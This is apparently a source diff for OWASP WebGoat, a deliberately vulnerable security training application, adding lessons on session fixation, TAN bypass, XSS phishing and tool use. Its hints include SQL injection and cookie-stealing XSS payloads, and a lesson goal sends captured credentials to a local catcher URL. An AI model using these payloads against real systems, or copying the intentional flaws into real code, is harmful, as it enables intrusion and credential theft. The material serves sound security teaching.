return Category.SESSION_MANAGEMENT;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the RoleBasedAccessControl object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
public List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
|
||||
hints.add("Stage 1: Just do a regular login");
|
||||
hints.add("Stage 2: How does the server know which TAN has to be used");
|
||||
hints.add("Stage 2: Maybe taking a look at the source code helps");
|
||||
hints.add("Stage 2: Watch out for hidden fields");
|
||||
hints.add("Stage 2: Manipulate the hidden field 'hidden_tan'");
|
||||
|
||||
return hints;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the instructions for the user
|
||||
*/
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions = "Stub";
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(222);
|
||||
|
||||
/**
|
||||
* Get the ranking for the hirarchy of lessons
|
||||
*/
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the title of the Lesson
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Session Fixation");
|
||||
}
|
||||
|
||||
}
|
@ -303,12 +303,13 @@ public class SqlNumericInjection extends SequentialLessonAdapter
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
|
||||
hints.add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command.");
|
||||
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
|
||||
+ "\"SELECT * FROM weather_data WHERE station = \" + station ");
|
||||
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
|
||||
+ "Try appending a SQL statement that always resolves to true.");
|
||||
hints.add("Try entering [ 101 OR 1 = 1 ].");
|
||||
hints.add("Try to intercept the post request with WebScarab and replace the station " +
|
||||
"with 101 OR 1 = 1");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
@ -159,9 +159,8 @@ public class StoredXss extends LessonAdapter
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("You can put HTML tags in your message.");
|
||||
hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it.");
|
||||
hints
|
||||
.add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in the message field.");
|
||||
hints.add("Enter this: <script>alert(\"document.cookie\");</script> in the message field.");
|
||||
hints.add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in the message field.");
|
||||
hints.add("Enter this: <script>alert(document.cookie);</script> in the message field.");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
@ -125,9 +125,14 @@ public class UncheckedEmail extends LessonAdapter
|
||||
sendSimulatedMail(ec, to, subject, message);
|
||||
}
|
||||
}
|
||||
|
||||
if(to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
|
||||
{
|
||||
s.setMessage("The attack worked! Now try to attack another person than the admin.");
|
||||
}
|
||||
|
||||
// only complete the lesson if they changed the "to" hidden field
|
||||
if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to))
|
||||
// only complete the lesson if they changed the "to" hidden field and they sen a scripttag in the message
|
||||
if (to.length() > 0 && !"webgoat.admin@owasp.org".equals(to) && message.contains("<script"))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
|
@ -0,0 +1,89 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2007 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Reto Lippuner, Marcel Wirth
|
||||
* @created April 7, 2008
|
||||
*/
|
||||
public class UsefulTools extends LessonAdapter
|
||||
{
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s
|
||||
* Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
makeSuccess(s);
|
||||
ElementContainer ec = new ElementContainer();
|
||||
ec.addElement(new StringElement("Welcome to WebGoat !!"));
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the Tools object
|
||||
*
|
||||
* @return The category value
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.INTRODUCTION;
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(20);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the DirectoryScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Useful Tools");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
|
||||
}
|
||||
|
||||
}
|
@ -125,6 +125,7 @@ public class WsSqlInjection extends LessonAdapter
|
||||
+ " </ns1:getCreditCard> <br>"
|
||||
+ " </SOAP-ENV:Body> <br>"
|
||||
+ " </SOAP-ENV:Envelope> <br>" + "");
|
||||
hints.add("Use the \"Webservices\" Functions in WebScarab.");
|
||||
/*
|
||||
* "<?xml version=\"1.0\" encoding=\"UTF-8\"?> <br>" + " <SOAP-ENV:Envelope
|
||||
* xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "
|
||||
|
@ -100,8 +100,8 @@ public class ReportCardScreen extends LessonAdapter
|
||||
private Element makeFeedback(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
ec.addElement(new Center(new StringElement("Comments and suggestions are welcome. "
|
||||
+ getWebgoatContext().getFeedbackAddress())));
|
||||
ec.addElement(new StringElement("Comments and suggestions are welcome. "
|
||||
+ getWebgoatContext().getFeedbackAddress() + "<br><br>"));
|
||||
|
||||
return ec;
|
||||
}
|
||||
@ -178,11 +178,6 @@ public class ReportCardScreen extends LessonAdapter
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getCompleted() ? "Y" : "N"));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getNumVisits())));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getMaxHintLevel())));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedCookies() ? "Y" : "N"));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedHtml() ? "Y" : "N"));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedParameters() ? "Y" : "N"));
|
||||
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedSource() ? "Y" : "N"));
|
||||
return tr;
|
||||
}
|
||||
|
||||
@ -294,11 +289,6 @@ public class ReportCardScreen extends LessonAdapter
|
||||
tr.addElement(new TH("Complete"));
|
||||
tr.addElement(new TH("Visits"));
|
||||
tr.addElement(new TH("Hints"));
|
||||
tr.addElement(new TH("Cookies"));
|
||||
tr.addElement(new TH("HTML"));
|
||||
tr.addElement(new TH("LessonPlan"));
|
||||
tr.addElement(new TH("Parameters"));
|
||||
tr.addElement(new TH("Source"));
|
||||
|
||||
return tr;
|
||||
}
|
||||
|
@ -186,7 +186,7 @@ public class Course
|
||||
roles.add(AbstractLesson.USER_ROLE);
|
||||
// Category 0 is the admin function. We want the first real category
|
||||
// to be returned. This is noramally the General category and the Http Basics lesson
|
||||
return ((AbstractLesson) getLessons((Category) getCategories().get(1), roles).get(0));
|
||||
return ((AbstractLesson) getLessons((Category) getCategories().get(0), roles).get(0));
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -235,6 +235,7 @@ public class CreateDB
|
||||
statement.executeUpdate(insertData11);
|
||||
statement.executeUpdate(insertData12);
|
||||
statement.executeUpdate(insertData13);
|
||||
|
||||
}
|
||||
|
||||
private void createLoginTable(Connection connection) throws SQLException
|
||||
@ -315,6 +316,105 @@ public class CreateDB
|
||||
statement.executeUpdate(insertData5);
|
||||
statement.executeUpdate(insertData6);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create users whith tans
|
||||
* @param connection
|
||||
* @throws SQLException
|
||||
*/
|
||||
private void createTanUserDataTable(Connection connection) throws SQLException
|
||||
{
|
||||
Statement statement = connection.createStatement();
|
||||
|
||||
// Delete table if there is one
|
||||
try
|
||||
{
|
||||
String dropTable = "DROP TABLE user_data_tan";
|
||||
statement.executeUpdate(dropTable);
|
||||
} catch (SQLException e)
|
||||
{
|
||||
System.out.println("Error dropping user database");
|
||||
}
|
||||
|
||||
// Create the new table
|
||||
try
|
||||
{
|
||||
String createTableStatement = "CREATE TABLE user_data_tan (" + "userid int not null,"
|
||||
+ "first_name varchar(20)," + "last_name varchar(20)," + "cc_number varchar(30),"
|
||||
+ "cc_type varchar(10)," + "cookie varchar(20)," + "login_count int," + "password varchar(20)" +")";
|
||||
statement.executeUpdate(createTableStatement);
|
||||
} catch (SQLException e)
|
||||
{
|
||||
System.out.println("Error creating user database");
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
// Populate it
|
||||
String insertData1 = "INSERT INTO user_data_tan VALUES (101,'Joe','Snow','987654321','VISA',' ',0, 'banana')";
|
||||
String insertData2 = "INSERT INTO user_data_tan VALUES (102,'Jane','Plane','123456789','MC',' ',0, 'tarzan')";
|
||||
|
||||
|
||||
statement.executeUpdate(insertData1);
|
||||
statement.executeUpdate(insertData2);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create the Table for the tans
|
||||
* @param connection
|
||||
* @throws SQLException
|
||||
*/
|
||||
private void createTanTable(Connection connection) throws SQLException
|
||||
{
|
||||
Statement statement = connection.createStatement();
|
||||
|
||||
// Delete table if there is one
|
||||
try
|
||||
{
|
||||
String dropTable = "DROP TABLE tan";
|
||||
statement.executeUpdate(dropTable);
|
||||
} catch (SQLException e)
|
||||
{
|
||||
System.out.println("Error dropping tan database");
|
||||
}
|
||||
|
||||
// Create the new table
|
||||
try
|
||||
{
|
||||
String createTableStatement = "CREATE TABLE tan (" + "userid int not null,"
|
||||
+ "tanNr int," + "tanValue int" + ")";
|
||||
statement.executeUpdate(createTableStatement);
|
||||
} catch (SQLException e)
|
||||
{
|
||||
System.out.println("Error creating tan database");
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
// Populate it
|
||||
String insertData1 = "INSERT INTO tan VALUES (101,1,15161)";
|
||||
String insertData2 = "INSERT INTO tan VALUES (101,2,4894)";
|
||||
String insertData3 = "INSERT INTO tan VALUES (101,3,18794)";
|
||||
String insertData4 = "INSERT INTO tan VALUES (101,4,1564)";
|
||||
String insertData5 = "INSERT INTO tan VALUES (101,5,45751)";
|
||||
|
||||
String insertData6 = "INSERT INTO tan VALUES (102,1,15648)";
|
||||
String insertData7 = "INSERT INTO tan VALUES (102,2,92156)";
|
||||
String insertData8 = "INSERT INTO tan VALUES (102,3,4879)";
|
||||
String insertData9 = "INSERT INTO tan VALUES (102,4,9458)";
|
||||
String insertData10 = "INSERT INTO tan VALUES (102,5,4879)";
|
||||
|
||||
|
||||
statement.executeUpdate(insertData1);
|
||||
statement.executeUpdate(insertData2);
|
||||
statement.executeUpdate(insertData3);
|
||||
statement.executeUpdate(insertData4);
|
||||
statement.executeUpdate(insertData5);
|
||||
statement.executeUpdate(insertData6);
|
||||
statement.executeUpdate(insertData7);
|
||||
statement.executeUpdate(insertData8);
|
||||
statement.executeUpdate(insertData9);
|
||||
statement.executeUpdate(insertData10);
|
||||
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// --------------------------------------------------------------------------
|
||||
@ -746,6 +846,8 @@ public class CreateDB
|
||||
createAuthTable(connection);
|
||||
createOwnershipTable(connection);
|
||||
createWeatherDataTable(connection);
|
||||
createTanUserDataTable(connection);
|
||||
createTanTable(connection);
|
||||
System.out.println("Success: creating tables.");
|
||||
}
|
||||
}
|
||||
|
Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 18 KiB |
BIN
main/project/WebContent/images/introduction/HowToUse_1.jpg
Normal file
After Width: | Height: | Size: 17 KiB |
BIN
main/project/WebContent/images/introduction/HowToUse_2.jpg
Normal file
After Width: | Height: | Size: 31 KiB |
BIN
main/project/WebContent/images/introduction/HowToUse_3.jpg
Normal file
After Width: | Height: | Size: 37 KiB |
BIN
main/project/WebContent/images/introduction/Thumbs.db
Normal file
BIN
main/project/WebContent/images/introduction/firebug.jpg
Normal file
After Width: | Height: | Size: 35 KiB |
BIN
main/project/WebContent/images/introduction/iewatch.jpg
Normal file
After Width: | Height: | Size: 52 KiB |
BIN
main/project/WebContent/images/introduction/interface.jpg
Normal file
After Width: | Height: | Size: 29 KiB |
BIN
main/project/WebContent/images/introduction/webscarab.jpg
Normal file
After Width: | Height: | Size: 31 KiB |
@ -1,12 +1,45 @@
|
||||
var dataFetched = false;
|
||||
|
||||
|
||||
function selectUser(){
|
||||
|
||||
var newEmployeeID = document.getElementById("UserSelect").options[document.getElementById("UserSelect").selectedIndex].value;
|
||||
|
||||
document.getElementById("employeeRecord").innerHTML = document.getElementById(newEmployeeID).innerHTML;
|
||||
|
||||
var newEmployeeID = document.getElementById("UserSelect").options[document.getElementById("UserSelect").selectedIndex].value;
|
||||
|
||||
if (navigator.userAgent.indexOf("MSIE ") == -1)
|
||||
{
|
||||
document.getElementById("employeeRecord").innerHTML = document.getElementById(newEmployeeID).innerHTML;
|
||||
}
|
||||
else
|
||||
{
|
||||
//IE is a buggy ....
|
||||
|
||||
var TR = document.createElement("tr");
|
||||
var TD0 = document.createElement("td");
|
||||
var TD1 = document.createElement("td");
|
||||
var TD2 = document.createElement("td");
|
||||
var TD3 = document.createElement("td");
|
||||
var TD4 = document.createElement("td");
|
||||
|
||||
var text0 = document.createTextNode(document.getElementById(newEmployeeID).childNodes[0].firstChild.nodeValue);
|
||||
var text1 = document.createTextNode(document.getElementById(newEmployeeID).childNodes[1].firstChild.nodeValue);
|
||||
var text2 = document.createTextNode(document.getElementById(newEmployeeID).childNodes[2].firstChild.nodeValue);
|
||||
var text3 = document.createTextNode(document.getElementById(newEmployeeID).childNodes[3].firstChild.nodeValue);
|
||||
var text4 = document.createTextNode(document.getElementById(newEmployeeID).childNodes[4].firstChild.nodeValue);
|
||||
|
||||
TD0.appendChild(text0);
|
||||
TD1.appendChild(text1);
|
||||
TD2.appendChild(text2);
|
||||
TD3.appendChild(text3);
|
||||
TD4.appendChild(text4);
|
||||
|
||||
TR.appendChild(TD0);
|
||||
TR.appendChild(TD1);
|
||||
TR.appendChild(TD2);
|
||||
TR.appendChild(TD3);
|
||||
TR.appendChild(TD4);
|
||||
|
||||
document.getElementById("employeeRecord").appendChild(TR);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
@ -23,14 +56,18 @@ function fetchUserData(){
|
||||
|
||||
function ajaxFunction(userId)
|
||||
{
|
||||
|
||||
var xmlHttp;
|
||||
try
|
||||
{
|
||||
|
||||
// Firefox, Opera 8.0+, Safari
|
||||
xmlHttp=new XMLHttpRequest();
|
||||
|
||||
}
|
||||
catch (e)
|
||||
{
|
||||
|
||||
// Internet Explorer
|
||||
try
|
||||
{
|
||||
@ -40,6 +77,7 @@ function ajaxFunction(userId)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
catch (e)
|
||||
@ -50,13 +88,16 @@ function ajaxFunction(userId)
|
||||
}
|
||||
}
|
||||
xmlHttp.onreadystatechange=function()
|
||||
{
|
||||
|
||||
{
|
||||
var result = xmlHttp.responseText;
|
||||
|
||||
if(xmlHttp.readyState==4)
|
||||
{
|
||||
document.getElementById("hiddenEmployeeRecords").innerHTML=result;
|
||||
|
||||
//We need to do this because IE is buggy
|
||||
var newdiv = document.createElement("div");
|
||||
newdiv.innerHTML = result;
|
||||
var container = document.getElementById("hiddenEmployeeRecords");
|
||||
container.appendChild(newdiv);
|
||||
}
|
||||
}
|
||||
xmlHttp.open("GET","lessons/Ajax/clientSideFiltering.jsp?userId=" + userId,true);
|
||||
|
31
main/project/WebContent/lesson_plans/HowToWork.html
Normal file
@ -0,0 +1,31 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> How to Work with WebGoat </p>
|
||||
</div>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
Welcome to a short introduction of WebGoat.<br>
|
||||
Here you will learn how to use WebGoat and additional tools for the lessons.<br><br>
|
||||
<b>The interface of WebGoat</b><br><br>
|
||||
<img src="/WebGoat/images/introduction/interface.jpg"><br><br>
|
||||
1. Here you see all Categories of Lessons in WebGoat. Click on the Categories to see all Lessons in it.<br>
|
||||
2. This link will give you the technical background to solve the lesson.<br>
|
||||
3. Do you need some help to find the solution? Here you will find useful hints.<br>
|
||||
4. Here you will find a complete solution of the selected lesson.<br>
|
||||
5. If you want to restart a lesson you can use this link.<br><br><br>
|
||||
<b>Solve the Lesson</b><br><br>
|
||||
Always read first the lessons plan. Then try to solve the lesson and if necessary, use the hints. If you cannot solve the lesson using the hints, you may watch the solution. Here every step is explained.<br><br><br>
|
||||
<b>Read and edit Parameters</b><br><br>
|
||||
To read and edit Parameters you need a proxy to intercept the HTTP request. Here we use WebScarab. More informations to WebScarab you will get in the Chapter "Useful Tools".
|
||||
After installing WebScarab and making a proxy on localhost we can start.<br><br>
|
||||
<img src="/WebGoat/images/introduction/HowToUse_1.jpg"><br><br>
|
||||
We have to select "intercept request" in the tab "Intercept". If we send a new HTTP request now, we get a new WebScarab window.<br><br>
|
||||
<img src="/WebGoat/images/introduction/HowToUse_2.jpg"><br><br>
|
||||
Here we can read and edit the sent parameter. After "Accept changes" the request will be sent to the server.
|
||||
<br><br><br>
|
||||
<b>Read and edit Cookies</b><br><br>
|
||||
Often it is not only necessary to change the value of parameters but to change the value of cookies. We use again WebScarab and intercept the request as explained in the last topic.<br><br>
|
||||
<img src="/WebGoat/images/introduction/HowToUse_3.jpg"><br><br>
|
||||
We again get the new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit the values of them.
|
||||
<br><br><br>
|
||||
<!-- Stop Instructions -->
|
@ -4,7 +4,7 @@
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
Developers are notorious for leaving statements like FIXME's, Code Broken, Hack, etc... inside the source code. Review the source code for any comments denoting passwords, backdoors, or something doesn't work right.
|
||||
Developers are notorious for leaving statements like TODO's, Code Broken, Hack, etc... inside the source code. Review the source code for any comments denoting passwords, backdoors, or something doesn't work right.
|
||||
<!-- Stop Instructions -->
|
||||
<br>
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
|
@ -23,5 +23,5 @@ After sending the request and headers, the client may send additional data. This
|
||||
Enter your name in the input field below and press "go" to submit. The server will accept the request, reverse the input, and display it back to the user, illustrating the basics of handling an HTTP request.
|
||||
<br/><br/>
|
||||
The user should become familiar with the features of WebGoat by manipulating the above
|
||||
buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code.
|
||||
buttons to view hints and solution. You have to use WebScarab for the first time.
|
||||
<!-- Stop Instructions -->
|
20
main/project/WebContent/lesson_plans/MultiLevelLogin1.html
Normal file
@ -0,0 +1,20 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> Multi Level Login 1</p>
|
||||
</div>
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
A Multi Level Login should provide a strong authentication.
|
||||
This is archived by adding a second layer. After having
|
||||
logged in with your user name and password you are asked
|
||||
for a 'Transaction Authentication Number' (TAN). This is
|
||||
often used by online banking. You get a list with a lots
|
||||
of TANs generated only for you by the bank. Each TAN is used only once.
|
||||
Another method is to provide the TAN by SMS. This has
|
||||
the advantage that an attacker can not get TANs provided
|
||||
by the user.
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
In this Lesson you try to get around the strong authentication.
|
||||
You have to break into another account. The user name, password and a
|
||||
already used TAN is provided. You have to make sure
|
||||
the server accept the TAN even it is already used.
|
||||
<!-- Stop Instructions -->
|
20
main/project/WebContent/lesson_plans/MultiLevelLogin2.html
Normal file
@ -0,0 +1,20 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> Multi Level Login 2</p>
|
||||
</div>
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
A Multi Level Login should provide a strong authentication.
|
||||
This is archived by adding a second layer. After having
|
||||
logged in with your user name and password you are asked
|
||||
for a 'Transaction Authentication Number' (TAN). This is
|
||||
often used by online banking. You get a list with a lots
|
||||
of TANs generated only for you by the bank. Each TAN is used only once.
|
||||
Another method is to provide the TAN by SMS. This has
|
||||
the advantage that an attacker can not get TANs provided
|
||||
by the user.
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
In this lesson you have to try to break into another account.
|
||||
You have an own account for WebGoat Financial but you want to
|
||||
log into another account only knowing the user name of the victim
|
||||
to attack.
|
||||
<!-- Stop Instructions -->
|
10
main/project/WebContent/lesson_plans/PasswordStrength.html
Normal file
@ -0,0 +1,10 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> Password Strength</p>
|
||||
</div>
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
Accounts are only as secure as there passwords. Most users have the same weak password everywhere. If you want to protect them against brute-force-attacks your application should have good requirements for passwords. The password should contain lower case letters, capitals and numbers. The longer the password, the better.
|
||||
<!-- Stop Instructions -->
|
||||
<br>
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
For this exercise, your job is to test several passwords on <a href="https://www.cnlab.ch/codecheck" target="_blank">https://www.cnlab.ch/codecheck</a>
|
16
main/project/WebContent/lesson_plans/Phishing.html
Normal file
@ -0,0 +1,16 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> Phishing with XSS </p>
|
||||
</div>
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
It is always a good practice to validate all input on the server side.
|
||||
XSS can occur when unvalidated user input is used in an HTTP response.
|
||||
With the help of XSS you can do a Phishing Attack and add content to a page
|
||||
which looks official. It is very hard for a victim to determinate
|
||||
that the content is malicious.
|
||||
<!-- Stop Instructions -->
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
The user should be able to add a form asking for username
|
||||
and password. On submit the input should be sent
|
||||
to http://localhost/WebGoat/catcher?PROPERTY=yes &user=catchedUserName&password=catchedPasswordName
|
||||
|
@ -3,7 +3,11 @@
|
||||
</div>
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it.
|
||||
It is always a good practice to validate all input on the server side.
|
||||
XSS can occur when unvalidated user input is used in an HTTP response.
|
||||
In a reflected XSS attack, an attacker can craft a URL with the attack
|
||||
script and post it to another website, email it, or otherwise get a
|
||||
victim to click on it.
|
||||
<!-- Stop Instructions -->
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad.
|
14
main/project/WebContent/lesson_plans/SQLInjection.html
Normal file
@ -0,0 +1,14 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> How to Perform a SQL Injection </p>
|
||||
</div>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
|
||||
<br><br>
|
||||
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.<br>
|
||||
<br>
|
||||
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.<br>
|
||||
<p><b>General Goal(s):</b> </p>
|
||||
For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks.
|
||||
<!-- Stop Instructions -->
|
28
main/project/WebContent/lesson_plans/UsefulTools.html
Normal file
@ -0,0 +1,28 @@
|
||||
<div align="Center">
|
||||
<p><b>Lesson Plan Title:</b> Useful Toolst </p>
|
||||
</div>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b> </p>
|
||||
<!-- Start Instructions -->
|
||||
Here we want to present you some useful tools. You will need WebScarab to solve most of the lessons. <br><br>
|
||||
<b>WebScarab:</b><br><br>
|
||||
As WebGoat, WebScarab is a part of OWASP. WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. Because WebScarab operates as an intercepting proxy, we can review and modify requests and responses.<br><br>
|
||||
<img src="/WebGoat/images/introduction/webscarab.jpg"><br><br>
|
||||
Webpage:<a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project</a>
|
||||
<br><br>
|
||||
<b>Firebug:</b><br><br>
|
||||
Firebug is an add-on for the Firefox browser. We can use it to inspect, edit and monitor CSS, HTML and JavaScript.<br><br>
|
||||
<img src="/WebGoat/images/introduction/firebug.jpg"><br><br>
|
||||
Webpage:<a href="http://www.getfirebug.com" target="_blank">http://www.getfirebug.com</a>
|
||||
<br><br>
|
||||
<b>IEWatch:</b><br><br>
|
||||
IEWatch is a tool to analyse HTTP and HTML for users of the Internet Explorer.<br><br>
|
||||
<img src="/WebGoat/images/introduction/iewatch.jpg"><br><br>
|
||||
Webpage:<a href="http://www.iewatch.com" target="_blank">http://www.iewatch.com</a>
|
||||
<br><br>
|
||||
<b>Scanner:</b><br><br>
|
||||
There exist a lot of vulnerability scanner for your own web applications. They can find XSS, Injection Flaws and other vulnerabilities. Here the links to two open source scanner. <br><br>
|
||||
Nessus:<a href="http://www.nessus.org" target="_blank">http://www.nessus.org</a><br>
|
||||
Paros:<a href="http://www.parosproxy.org" target="_blank">http://www.parosproxy.org</a><br>
|
||||
<!-- Stop Instructions -->
|
||||
<br>
|
@ -626,7 +626,7 @@ color:windowtext'>Solution</span></span><span style='font-family:"Arial","sans-s
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This exercise
|
||||
is straightforward. You need to find a user where you can access a resource
|
||||
that you shouldn’t be able to access.<o:p></o:p></span></p>
|
||||
that you shouldn't be able to access.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>After a few attempts
|
||||
you will learn that Larry can access resources of the role Account Manager.<o:p></o:p></span></p>
|
||||
|
@ -673,8 +673,8 @@ field-end'></span><![endif]--> Intercepted request</p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The HTTP
|
||||
header that contains the Basic Authentication information is called
|
||||
“Authorization”. This value Z3Vlc3Q6Z3Vlc3Q= is Base64 encoded. You can decode
|
||||
this by using WebScarab – Tools – Transcoder.<o:p></o:p></span></p>
|
||||
"Authorization". This value Z3Vlc3Q6Z3Vlc3Q= is Base64 encoded. You can decode
|
||||
this by using WebScarab > Tools > Transcoder.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -827,7 +827,7 @@ field-end'></span><![endif]--> Basic Authentication<span style='font-family:
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You clearly
|
||||
see that the JSESSIONID is the same like in the previous request, but the
|
||||
Authorization header now contains the Base 64 encoded value of basic:basic (you
|
||||
can decode this value in WebScarab – Tools – Transcoder).<o:p></o:p></span></p>
|
||||
can decode this value in WebScarab > Tools > Transcoder).<o:p></o:p></span></p>
|
||||
|
||||
